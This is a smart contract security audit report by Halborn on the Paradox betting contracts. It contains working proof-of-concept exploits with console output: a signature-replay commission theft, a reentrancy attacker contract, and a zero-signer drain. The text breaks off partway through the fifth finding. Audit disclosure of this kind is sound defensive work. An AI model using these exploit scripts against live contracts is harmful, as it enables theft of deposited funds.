// HALBORN

Root - Paradox

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **October 19th, 2022 - November 4th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY 5
CONTACTS 5
1 EXECUTIVE OVERVIEW 6
1.1 INTRODUCTION 7
1.2 AUDIT SUMMARY 7
1.3 TEST APPROACH & METHODOLOGY 7
RISK METHODOLOGY 8
1.4 SCOPE 10
2 ASSESSMENT SUMMARY & FINDINGS OVERVIEW 11
3 FINDINGS & TECH DETAILS 12
3.1 (HAL-01) PLAYERS CAN BET KNOWING THE WINNING TEAM BEFOREHAND - CRITICAL 14
Description 14
Code Location 14
Proof of Concept 16
Risk Level 16
Recommendation 16
Remediation Plan 16
3.2 (HAL-02) CLAIMING PROTOCOL COMMISSIONS MULTIPLE TIMES BY SIGNATURE REUSE - CRITICAL 17
Description 17
Code Location 17
Proof of Concept 18
Risk Level 20
Recommendation 20

Remediation Plan 20

3.3 (HAL-03) BYPASSING COMMISSION PAYMENTS DUE TO REENTRANCY VULNERABILITY - CRITICAL 21

Description 21

Code Location 21

Proof of Concept 22

Risk Level 24

Recommendation 24

Remediation Plan 24

3.4 (HAL-04) DRAINING ALL TOKENS FROM PROTOCOL DUE TO THE SIGNER NOT BEING SET - CRITICAL 25

Description 25

Code Location 25

Proof of Concept 27

Risk Level 29

Recommendation 29

Remediation Plan 29

3.5 (HAL-05) MISSING REQUIRE STATEMENT IN CLAIMCOMMISSIONWITHSIGNATURE FUNCTION - LOW 30

Description 30

Risk Level 32

Recommendation 32

Remediation Plan 32

3.6 (HAL-06) FLOATING PRAGMA - INFORMATIONAL 33

Description 33

Risk Level 33

Recommendation 33

Remediation Plan 33

3.7 (HAL-07) LACK OF A DOMAINSEPARATOR IN THE BETTING CONTRACT - INFORMATIONAL 34

Description 34

Risk Level 35

Recommendation 35

Remediation Plan 35

3.8 (HAL-08) USE ++I INSTEAD OF I++ IN LOOPS FOR GAS OPTIMIZATION - INFORMATIONAL 36

Description 36

Code Location 36

Risk Level 37

Recommendation 37

Remediation Plan 37

3.9 (HAL-09) ZERO ADDRESS NOT CHECKED - INFORMATIONAL 38

Description 38

Code Location 38

Risk Level 38

Recommendation 39

Remediation Plan 39

4 AUTOMATED TESTING 40

4.1 STATIC ANALYSIS REPORT 41

Description 41

Slither results 41

4.2 AUTOMATED SECURITY SCAN 45

Description 45

MythX results 45

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	11/1/2022	Omar Alshaeb
0.2	Draft Review	11/04/2022	Kubilay Onur Gungor
0.3	Draft Review	11/04/2022	Gabi Urrutia
1.0	Remediation Plan	11/15/2022	Omar Alshaeb
1.1	Final Review	11/15/2022	Kubilay Onur Gungor

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Omar Alshaeb	Halborn	Omar.Alshaeb@halborn.com
Roberto Reigada	Halborn	Roberto.Reigada@halborn.com
Kubilay Onur Gungor	Halborn	Kubilay.Gungor@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Root and Paradox engaged Halborn to conduct a security audit on their smart contracts beginning on October 19th, 2022 and ending on November 4th, 2022. The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were addressed by the Paradox team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose
- Smart contract manual code review and walkthrough
- Graphing out functionality and contract logic/connectivity/functions (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes
- Manual testing by custom scripts
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment (Brownie, Remix IDE)

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.

3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

IN-SCOPE:
The security assessment was scoped to the following smart contracts:

- Betting.sol
- BettingV2.sol

Deployed Goerli addresses:

- Betting and BettingV2: 0xFd7B393E385ddfBa8c713e4eCFc0635F198C8f9A

And the following smart contracts:

- BettingAdmin.sol
- Betting.sol
- BettingV2.sol

Deployed Goerli addresses:

- BettingAdmin: 0xbe8d2e56e48CaD6FE605F0D3c23090Ea25a75F8d
- Betting and BettingV2: 0xe74A0C293061919A3f4433952798fB872CfDc5F1

Fixed commit ID: 280170cb633b1cc8a5814ce9bf7bb2e0dc854937

Latest commit ID audited: 91393f06c84f459a7fd81972ea573fb1f70a3d0b

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
4	0	0	1	4

LIKELIHOOD

IMPACT

				(HAL-01) (HAL-02) (HAL-03) (HAL-04)
(HAL-06) (HAL-07)	(HAL-08) (HAL-09)	(HAL-05)		

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL01 - PLAYERS CAN BET KNOWING THE WINNING TEAM BEFOREHAND	Critical	SOLVED - 11/15/2022
HAL02 - CLAIMING PROTOCOL COMMISSIONS MULTIPLE TIMES BY SIGNATURE REUSE	Critical	SOLVED - 11/1/2022
HAL03 - BYPASSING COMMISSION PAYMENTS DUE TO REENTRANCY VULNERABILITY	Critical	SOLVED - 11/1/2022
HAL04 - DRAINING ALL TOKENS FROM PROTOCOL DUE TO THE SIGNER NOT BEING SET	Critical	SOLVED - 11/1/2022
HAL05 - MISSING REQUIRE STATEMENT IN CLAIMCOMMISSIONWITHSIGNATURE FUNCTION	Low	SOLVED - 11/15/2022
HAL06 - FLOATING PRAGMA	Informational	SOLVED - 11/15/2022
HAL07 - LACK OF A DOMAINSEPARATOR IN THE BETTING CONTRACT	Informational	ACKNOWLEDGED
HAL08 - USE ++I INSTEAD OF I++ IN LOOPS FOR GAS OPTIMIZATION	Informational	SOLVED - 11/15/2022
HAL09 - ZERO ADDRESS NOT CHECKED	Informational	SOLVED - 11/15/2022

FINDINGS & TECH DETAILS

3.1 (HAL-01) PLAYERS CAN BET KNOWING THE WINNING TEAM BEFOREHAND - CRITICAL

Description:

The gradePool function, used to decide the winner of a pool, can be front-runned. A player can monitor the mempool for this type of transaction, and once the winner is known, he can directly place bets for the winning team.

Code Location:

Listing 1: BettingAdmin.sol (Line 142)

```
142 function gradePool(uint256 poolId_, uint256 winnerId_) external
 ↳ onlyRole(MULTISIG_ROLE) validPool(poolId_) {
143     Pool storage pool = pools[poolId_];
144     require(pool.status == PoolStatus.Running, "BettingAdmin: Pool
 ↳  status should be Running");
145     require(poolTeams[poolId_][winnerId_].status == TeamStatus.
 ↳ Created, "BettingAdmin: Team status should be Created");
146
147     // Mark pool as closed
148     pool.status = PoolStatus.Decided;
149     pool.winners.push(winnerId_);
150
151     emit PoolGraded(poolId_, pool.winners);
152 }
```

Listing 2: Betting.sol (Line 148)

```
148 function placeBet(uint256 poolId_, uint256 teamId_, uint256
 ↳ amount_) external validPool(poolId_) {
149     Pool memory pool = getPool(poolId_);
150     require(pool.status == PoolStatus.Running, "Betting: Pool
 ↳ status should be Created");
```

```
151     require(amount_ >= MIN_BET, "Betting: Amount should be more
 ↳ than MIN_BET");
152     require(pool.startTime > block.timestamp, "Betting: Cannot
 ↳ place bet after pool start time");
153 
154     Team memory team = getPoolTeam(poolId_, teamId_);
155     require(team.status == TeamStatus.Created, "Betting: Team
 ↳ status should be Created");
156 
157     uint256 betId = bets.length;
158     address player = msg.sender;
159     uint _commission = 0;
160     // Update commission stats
161     if (pool.totalBets > 0) {
162         _commission = _calculateCommission(amount_);
163         poolCommission[poolId_][betId] = Commission(_commission,
 ↳ pool.totalAmount, player);
164     }
165 
166     // console.log("netamount: %s, sender: %s", _netAmount, msg.
 ↳ sender);
167     bets.push(Bet(betId, poolId_, teamId_, amount_, player, block.
 ↳ timestamp));
168     userBets[poolId_][player].push(betId);
169     poolBets[poolId_].push(betId);
170     _placeBet(player, poolId_, teamId_, amount_, _commission);
171 
172     uint256 _netAmount = amount_ + _commission;
173     usdcContract().transferFrom(player, address(this), _netAmount)
 ↳ ;
174     // Mint team tokens
175     pool.mintContract.mint(player, teamId_, amount_, "") ;
176 
177     emit BetPlaced(poolId_, player, teamId_, amount_);
178 }
```

Proof of Concept:

1. The player is monitoring the mempool for gradePool transactions
2. The owner of the protocol sends the gradePool transaction specifying the winning team as a parameter
3. The player front-runs the previous transaction and places a bet for the winning team

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

The status of the pool could be updated to the decided status in a separate transaction, first closing the possibility to place more bets for that pool and then setting the winning team within a second transaction.

Remediation Plan:

SOLVED: The Paradox team solved the issue.

3.2 (HAL-02) CLAIMING PROTOCOL COMMISSIONS MULTIPLE TIMES BY SIGNATURE REUSE - CRITICAL

Description:

Players can claim protocol commissions many times by reusing the same signature previously signed by the signer of the protocol, hence stealing the USDC from the contract. This is possible due to the `_verifySignature` function does not consider the `poolId_` parameter within the signed message.

Code Location:

Listing 3: Betting.sol (Line 330)

```
323 function claimCommissionWithSignature(uint256 poolId_, uint256
 ↳ amount_, uint256 signedBlockNum_, bytes memory signature_)
 ↳ external validPool(poolId_) {
324     Pool storage pool = pools[poolId_];
325     address player = msg.sender;
326
327     require(pool.status == PoolStatus.Decided, "Betting: Pool
 ↳ status should be Deciced");
328     require(claimedCommissions[player][poolId_] == 0, "Betting:
 ↳ Commission already claimed");
329
330     _verifySignature(player, amount_, signedBlockNum_, signature_)
 ↳ ;
331     require(signedBlockNum_ <= block.number, "Signed block number
 ↳ must be older");
332     require(signedBlockNum_ + 50 >= block.number, "Signature
 ↳ expired");
333
334     // console.log("Transfer amount: %s", amount_);
335     claimedCommissions[player][poolId_] = amount_;
336     usdcContract.transfer(player, amount_);
337
338     emit CommissionClaimed(poolId_, player, amount_);
```

```
339 }
```

Proof of Concept:

1. There are two pools in the protocol
2. The signer sign some amount to the player to be able to claim
3. The player claims the commission for the correct pool
4. Thhe player claim again the same amount but using the other pool, duplicating his USDC balance

Listing 4: Proof of Concept using Brownie (Lines 48,55)

```
1 erc1155token = ERC1155Mock.deploy({'from': owner})
2 usdcm = USDCMock.deploy({'from': owner})
3 tx = usdcm.mint(owner, 1000000000, {'from': owner})
4 output.greenn("usdcm.balanceOf(owner) --> " + str(usdcm.balanceOf(
↳ owner)))
5
6 attackerContract = AttackerContract.deploy({'from': attacker})
7
8 bettingProtocol = BettingV2.deploy({'from': owner})
9 bettingProtocol.initialize(usdcm, {'from': owner})
10
11 tx = bettingProtocol.createPool(2, "first event", chain.time()+15,
↳  86400, erc1155token, [(0,"team1",0),(1,"team2",0)], {'from':
↳ owner})
12
13 tx = bettingProtocol.startPool(0, {'from': owner})
14
15 tx = usdcm.mint(attackerContract, 1000000000, {'from': owner})
16 tx = usdcm.approve(bettingProtocol, 1000000000, {'from':
↳ attackerContract})
17
18 # bypassing protocol comissions by using a malicious contract and
↳ exploting reentrancy within erc1155 tokens
19
20 tx = bettingProtocol.placeBet(0, 1, 10000000, {'from':
↳ attackerContract})
21
22 output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " +
↳  str(erc1155token.balanceOf(attackerContract, 0)))
```

```
23 output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.
↳ balanceOf(attackerContract)))
24
25 tx = bettingProtocol.createPool(2, "second event", chain.time()
↳ +15, 86400, erc1155token, [(0,"team3",0),(1,"team4",0)], {'from':
↳ owner})
26
27 tx = bettingProtocol.startPool(1, {'from': owner})
28
29 tx = bettingProtocol.placeBet(1, 1, 10000000, {'from':
↳ attackerContract})
30
31 tx = bettingProtocol.gradePool(0, 1, {'from': owner})
32 tx = bettingProtocol.gradePool(1, 0, {'from': owner})
33
34 tx = bettingProtocol.updateVeraSignerAddress(owner, {'from': owner
↳ })
35
36 # solidity version to get the signed hash
37 """
38 function verifySignature() external pure returns (bytes32) {
39     bytes32 msgHash = keccak256(abi.encodePacked(address(0
↳ x69FfA5B91E8Af1D2203b9b7C8d955C2119B43bAb), uint256(10000000),
↳ uint256(15868175)));
40     bytes32 signedHash = keccak256(abi.encodePacked("\x19Ethereum
↳ Signed Message:\n32", msgHash));
41     return signedHash;
42   }
43 """
44 # priv key from signer
45 signerPrivKey = 0
↳ x60db7c9e10591c5d0d72b0d1bb519bb98c3f91c57baf67bb1c7fbd7bc04a9c70
46 signature = web3.eth.account.signHash(0
↳ xbb74bdb46d5848f804624022d0546ea45356af08fdd2968dc0176c1db1b91881,
↳  signerPrivKey)
47
48 tx = bettingProtocol.claimCommissionWithSignature(0, 10000000,
↳ 15868175, signature, {'from': attackerContract})
49
50 output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " +
↳  str(erc1155token.balanceOf(attackerContract, 0)))
51 output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.
↳ balanceOf(attackerContract)))
52
```

```
53 # signature replay attack and stealing tokens from dediced pools
54
55 tx = bettingProtocol.claimCommissionWithSignature(1, 10000000,
↳ 15868175, signature, {'from': attackerContract})
56
57 output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " +
↳  str(erc1155token.balanceOf(attackerContract, 0)))
58 output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.
↳ balanceOf(attackerContract)))
```

```
>>> tx = bettingProtocol.claimCommissionWithSignature(0, 10000000, 15868175, 0x91337429d1b0c9dc5de01f95440c446444363cbbc60d5ba40f98672dbcd4d1b62fe64e7a6588870ef175f0ca0d88b54b4330139f628576196427d26ffd778c881c,

Transaction sent: 0xed34eff273e34dedb3b4fd9489f40fe500ed32ada27811bbe0210a71b2d2f19e
  Gas price: 0.0 gwei   Gas limit: 800000000   Nonce: 11
  BettingV2.claimCommissionWithSignature confirmed   Block: 15868176   Gas used: 72628 (0.01%)

>>>
>>>
>>> output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " + str(erc1155token.balanceOf(attackerContract, 0)))
output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.balanceOf(attackerContract)))
erc1155token.balanceOf(attackerContract, 0) --> 30000000
usdcm.balanceOf(attackerContract) --> 980000000
>>>
>>> tx = bettingProtocol.claimCommissionWithSignature(1, 10000000, 15868175, 0x91337429d1b0c9dc5de01f95440c446444363cbbc60d5ba40f98672dbcd4d1b62fe64e7a6588870ef175f0ca0d88b54b4330139f628576196427d26ffd778c881c,

Transaction sent: 0xa207d467cdef004efc37f561bf2343bb98474fedd601330587c6e535c290bbcc
  Gas price: 0.0 gwei   Gas limit: 800000000   Nonce: 12
  BettingV2.claimCommissionWithSignature confirmed   Block: 15868177   Gas used: 72640 (0.01%)

>>>
>>> output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " + str(erc1155token.balanceOf(attackerContract, 0)))
output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.balanceOf(attackerContract)))
erc1155token.balanceOf(attackerContract, 0) --> 30000000
usdcm.balanceOf(attackerContract) --> 990000000
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

The _verifySignature function needs to consider the poolId_ parameter used to claim the protocol commission.

Remediation Plan:

SOLVED: The Paradox team solved the issue in the following Goerli deployed contract address:
0xe74A0C293061919A3f4433952798fB872CfDc5F1

3.3 (HAL-03) BYPASSING COMMISSION PAYMENTS DUE TO REENTRANCY VULNERABILITY - CRITICAL

Description:

Players can bypass commission payments when betting due to a reentrancy vulnerability when ERC1155 tokens are minted. Within the placeBet function used to place bets, the ERC1155 tokens in exchange are being minted before critical protocol storage variables are updated. Hence, this makes the code vulnerable to reentrancy attacks, allowing the players to bypass the commission payments.

Code Location:

Listing 5: Betting.sol (Lines 246,250)

```
221 function placeBet(uint256 poolId_, uint256 teamId_, uint256
 ↳ amount_) external validPool(poolId_) {
222     Pool storage pool = pools[poolId_];
223     require(pool.status == PoolStatus.Running, "Betting: Pool
 ↳ status should be Created");
224     require(amount_ >= MIN_BET, "Amount should be more than
 ↳ MIN_BET");
225
226     Team memory team = poolTeams[poolId_][teamId_];
227     require(team.status == TeamStatus.Created, "Betting: Team
 ↳ status should be Created");
228
229     uint256 betId = bets.length;
230     address player = msg.sender;
231     uint _commission = 0;
232     // Update commission stats
233     if (pool.totalBets > 0) {
234         _commission = _calculateCommission(amount_);
235         poolCommission[poolId_][betId] = Commission(_commission,
 ↳ pool.totalAmount, player);
236     }
237
```

```
238     uint256 _netAmount = amount_ + _commission;
239     // console.log("netamount: %s, sender: %s", _netAmount, msg.
 ↳ sender);
240 
241     usdcContract.transferFrom(player, address(this), _netAmount);
242     bets.push(Bet(betId, poolId_, teamId_, amount_, player, block.
 ↳ timestamp));
243     userBets[poolId_][player].push(betId);
244 
245     // Mint team tokens
246     IERC1155PresetMinterPauser(pool.mintContract).mint(player,
 ↳ teamId_, amount_, "") ;
247 
248     // Update pool statistics
249     pool.totalAmount += amount_;
250     pool.totalBets += 1;
251     poolBets[poolId_].push(betId);
252 
253     emit BetPlaced(poolId_, player, teamId_, amount_);
254 }
```

Proof of Concept:

1. A player from a malicious contract place a bet for a pool into the first team
2. Tokens are minted for the malicious contract
3. The contract gains execution control and places another bet
4. The second bet should have paid some protocol commissions, and it did not

Listing 6: AttackerContract.sol (Line 24)

```
1 // contracts/MyContract.sol
2 // SPDX-License-Identifier: MIT
3 pragma solidity ^0.8.0;
4 
5 import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.
 ↳ sol";
6 
7 interface BettingProtocol {
8     function placeBet(uint256 poolId_, uint256 teamId_, uint256
```

```
↳ amount_) external;
 9 }
10
11 contract AttackerContract is ERC1155Holder {
12
13     uint256 public num;
14
15     function onERC1155Received(
16         address _operator,
17         address,
18         uint256,
19         uint256,
20         bytes memory
21     ) public override returns (bytes4) {
22         if(num == 0) {
23             num = 1;
24             BettingProtocol(_operator).placeBet(0, 1, 10000000);
25         }
26         return this.onERC1155Received.selector;
27     }
28 }
```

Listing 7: Proof of Concept using Brownie (Line 20)

```
 1 erc1155token = ERC1155Mock.deploy({'from': owner})
 2 usdcm = USDCMock.deploy({'from': owner})
 3 tx = usdcm.mint(owner, 1000000000, {'from': owner})
 4 output.greenn("usdcm.balanceOf(owner) --> " + str(usdcm.balanceOf(
↳ owner)))
 5
 6 attackerContract = AttackerContract.deploy({'from': attacker})
 7
 8 bettingProtocol = BettingV2.deploy({'from': owner})
 9 bettingProtocol.initialize(usdcm, {'from': owner})
10
11 tx = bettingProtocol.createPool(2, "first event", chain.time()+15,
↳  86400, erc1155token, [(0,"team1",0),(1,"team2",0)], {'from':
↳ owner})
12
13 tx = bettingProtocol.startPool(0, {'from': owner})
14
15 tx = usdcm.mint(attackerContract, 1000000000, {'from': owner})
16 tx = usdcm.approve(bettingProtocol, 1000000000, {'from':
↳ attackerContract})
```

```
17
18 # bypassing protocol comissions by using a malicious contract and
↳ exploting reentrancy within erc1155 tokens
19
20 tx = bettingProtocol.placeBet(0, 1, 10000000, {'from':
↳ attackerContract})
21
22 output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " +
↳  str(erc1155token.balanceOf(attackerContract, 0)))
23 output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.
↳ balanceOf(attackerContract)))
```

```
>>> tx = bettingProtocol.placeBet(0, 1, 10000000, {'from': attackerContract})
Transaction sent: 0xc01967bf38a1988031fcf3ab86d412864f07fd4633dc2849eb21bb85f418b193
  Gas price: 0.0 gwei   Gas limit: 800000000   Nonce: 2
  BettingV2.placeBet confirmed   Block: 15868129   Gas used: 478263 (0.06%)

>>> output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " + str(erc1155token.balanceOf(attackerContract, 0)))
output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.balanceOf(attackerContract)))
erc1155token.balanceOf(attackerContract, 0) --> 20000000
usdcm.balanceOf(attackerContract) --> 980000000
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

Follow the Checks Effects Interactions pattern by updating the storage variables before minting the tokens to the player.

Remediation Plan:

SOLVED: The Paradox team solved the issue in the following Goerli deployed contract address:
0xe74A0C293061919A3f4433952798fB872CfDc5F1

3.4 (HAL-04) DRAINING ALL TOKENS FROM PROTOCOL DUE TO THE SIGNER NOT BEING SET - CRITICAL

Description:

Anyone can drain all tokens from the protocol due to the signer not being set during the initialize process of the contract. Neither is properly checked while players are claiming commissions.

The exploitation of this issue is possible due to the recoverSigner function within the _verifySignature function just checks if the recovered address from ecrecover is equal to the signer, but as the signer is the zero address, the result will always be true as when ecrecover fails to recover the address returns the zero address.

Code Location:

Listing 8: Betting.sol

```
147 function initialize(address usdcContract_) public initializer {
148     __UUPSUpgradeable_init();
149
150     usdcContract = IERC20Upgradeable(usdcContract_);
151     _setupRole(ADMIN_ROLE, msg.sender);
152     _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
153 }
```

Listing 9: Betting.sol (Line 330)

```
323 function claimCommissionWithSignature(uint256 poolId_, uint256
 ↳ amount_, uint256 signedBlockNum_, bytes memory signature_)
 ↳ external validPool(poolId_) {
324     Pool storage pool = pools[poolId_];
325     address player = msg.sender;
326
327     require(pool.status == PoolStatus.Decided, "Betting: Pool
 ↳ status should be Deciced");
```

```
328     require(claimedCommissions[player][poolId_] == 0, "Betting:
 ↳ Commission already claimed");
329
330     _verifySignature(player, amount_, signedBlockNum_, signature_)
 ↳ ;
331     require(signedBlockNum_ <= block.number, "Signed block number
 ↳ must be older");
332     require(signedBlockNum_ + 50 >= block.number, "Signature
 ↳ expired");
333
334     // console.log("Transfer amount: %s", amount_);
335     claimedCommissions[player][poolId_] = amount_;
336     usdcContract.transfer(player, amount_);
337
338     emit CommissionClaimed(poolId_, player, amount_);
339 }
```

Listing 10: Betting.sol (Line 509)

```
498 function _verifySignature(
499     address player_,
500     uint256 amount_,
501     uint256 signedBlockNum_,
502     bytes memory signature_
503 ) internal view {
504     bytes32 msgHash = getMessageHash(player_, amount_,
 ↳ signedBlockNum_);
505     bytes32 signedHash = keccak256(
506         abi.encodePacked("\x19Ethereum Signed Message:\n32",
 ↳ msgHash)
507     );
508     require(
509         recoverSigner(signedHash, signature_) == signer,
510         "Invalid signature"
511     );
512 }
```

Listing 11: Betting.sol (Line 554)

```
547 function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory
 ↳  _signature)
548     public
549     pure
```

```
550     returns (address)
551 {
552     (bytes32 r, bytes32 s, uint8 v) = _splitSignature(_signature);
553
554     return ecrecover(_ethSignedMessageHash, v, r, s);
555 }
```

Proof of Concept:

1. The protocol is deployed and initialized, and two pools are created
2. The pools are then decided
3. Signer is still the zero address within the contract
4. Any user can claim commissions with any amount they wish as the signature will always be valid
5. The protocol is drained

Listing 12: Proof of Concept using Brownie (Lines 36,38)

```
1 erc1155token = ERC1155Mock.deploy({'from': owner})
2 usdcm = USDCMock.deploy({'from': owner})
3 tx = usdcm.mint(owner, 1000000000, {'from': owner})
4 output.greenn("usdcm.balanceOf(owner) --> " + str(usdcm.balanceOf(
↳ owner)))
5
6 attackerContract = AttackerContract.deploy({'from': attacker})
7
8 bettingProtocol = BettingV2.deploy({'from': owner})
9 bettingProtocol.initialize(usdcm, {'from': owner})
10
11 tx = bettingProtocol.createPool(2, "first event", chain.time()+15,
↳  86400, erc1155token, [(0,"team1",0),(1,"team2",0)], {'from':
↳ owner})
12
13 tx = bettingProtocol.startPool(0, {'from': owner})
14
15 tx = usdcm.mint(attackerContract, 1000000000, {'from': owner})
16 tx = usdcm.approve(bettingProtocol, 1000000000, {'from':
↳ attackerContract})
17
18 # bypassing protocol comissions by using a malicious contract and
↳ exploting reentrancy within erc1155 tokens
```

```
19
20 tx = bettingProtocol.placeBet(0, 1, 10000000, {'from':
↳ attackerContract})
21
22 output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " +
↳  str(erc1155token.balanceOf(attackerContract, 0)))
23 output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.
↳ balanceOf(attackerContract)))
24
25 tx = bettingProtocol.createPool(2, "second event", chain.time()
↳ +15, 86400, erc1155token, [(0,"team3",0),(1,"team4",0)], {'from':
↳ owner})
26
27 tx = bettingProtocol.startPool(1, {'from': owner})
28
29 tx = bettingProtocol.placeBet(1, 1, 10000000, {'from':
↳ attackerContract})
30
31 tx = bettingProtocol.gradePool(0, 1, {'from': owner})
32 tx = bettingProtocol.gradePool(1, 0, {'from': owner})
33
34 # using random signature having the signer of the protocol as zero
↳  address and draining all the tokens from the contract
35
36 tx = bettingProtocol.claimCommissionWithSignature(1, 10000000,
↳ 15868134, 0
↳ x9242685bf161793cc25603c231bc2f568eb630ea16aa137d2664ac80388256084
37 f8ae3bd7535248d0bd448298cc2e2071e56992d0774dc340c368ae950852ada1,
↳ {'from': attackerContract})
38 tx = bettingProtocol.claimCommissionWithSignature(0, 20000000,
↳ 15868134, 0
↳ x9242685bf161793cc25603c231bc2f568eb630ea16aa137d2664ac80388256084
39 f8ae3bd7535248d0bd448298cc2e2071e56992d0774dc340c368ae950852ada1,
↳ {'from': attackerContract})
40
```

```
>>> tx = bettingProtocol.claimCommissionWithSignature(0, 10000000, 15868175, 0x91337429d1b0c9dc5de01f95440c446444363cbbc60d5ba40f98672dbcd4d1b62fe64e7a6588870ef175f0ca0d88b54b4330139f62857619642 7d26ffd778c881c, {

Transaction sent: 0xed34eff273e34dedb3b4fd9489f40fe500ed32ada27811bbe0210a71b2d2f19e
  Gas price: 0.0 gwei   Gas limit: 800000000   Nonce: 11
  BettingV2.claimCommissionWithSignature confirmed   Block: 15868176   Gas used: 72628 (0.01%)

>>>
>>>
>>> output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " + str(erc1155token.balanceOf(attackerContract, 0)))
output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.balanceOf(attackerContract)))
erc1155token.balanceOf(attackerContract, 0) --> 30000000
usdcm.balanceOf(attackerContract) --> 980000000
>>>
>>> tx = bettingProtocol.claimCommissionWithSignature(1, 10000000, 15868175, 0x91337429d1b0c9dc5de01f95440c446444363cbbc60d5ba40f98672dbcd4d1b62fe64e7a6588870ef175f0ca0d88b54b4330139f62857619642 7d26ffd778c881c, {

Transaction sent: 0xa207d467cdef004efe37f561bf2343bb98474fedd001330587c6e535c290bbcc
  Gas price: 0.0 gwei   Gas limit: 800000000   Nonce: 12
  BettingV2.claimCommissionWithSignature confirmed   Block: 15868177   Gas used: 72640 (0.01%)

>>>
>>> output.greenn("erc1155token.balanceOf(attackerContract, 0) --> " + str(erc1155token.balanceOf(attackerContract, 0)))
output.redd("usdcm.balanceOf(attackerContract) --> " + str(usdcm.balanceOf(attackerContract)))
erc1155token.balanceOf(attackerContract, 0) --> 30000000
usdcm.balanceOf(attackerContract) --> 990000000
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

Always properly set the critical variables for the protocol during the initialization process.

Remediation Plan:

SOLVED: The Paradox team solved the issue in the following Goerli deployed contract address:
0xe74A0C293061919A3f4433952798fB872CfDc5F1

3.5 (HAL-05) MISSING REQUIRE STATEMENT IN CLAIMCOMMISSIONWITHSIGNATURE FUNCTION - LOW

Description:

In the Betting contract the function claimCommission() and claimCommissionWithSignature() are used to claim the comissions for the different pools:

Listing 13: Betting.sol (Line 247)

```
241 function claimCommission(uint256 poolId_) external validPool(
 ↳ poolId_) {
242     Pool memory pool = getPool(poolId_);
243     address player = msg.sender;
244 
245     require(pool.status == PoolStatus.Decided, "Betting: Pool
 ↳ status should be Deciced");
246     require(claimedCommissions[player][poolId_] == 0, "Betting:
 ↳ Commission already claimed");
247     require(!pool.commissionDisabled, "Betting: Pool commission
 ↳ has been disabled");
248 
249     uint256 _commissionAmount = _totalCommissionGenerated(player,
 ↳ poolId_);
250     require(_commissionAmount > 0, "Betting: No commission to
 ↳ claim");
251     require(_commissionAmount <= pool.totalCommissions, "Betting:
 ↳ Payout exceeds total amount");
252 
253     claimedCommissions[player][poolId_] = _commissionAmount;
254     _commissionClaimed(player, poolId_, _commissionAmount);
255 
256     erc20Contract().transfer(player, _commissionAmount);
257 
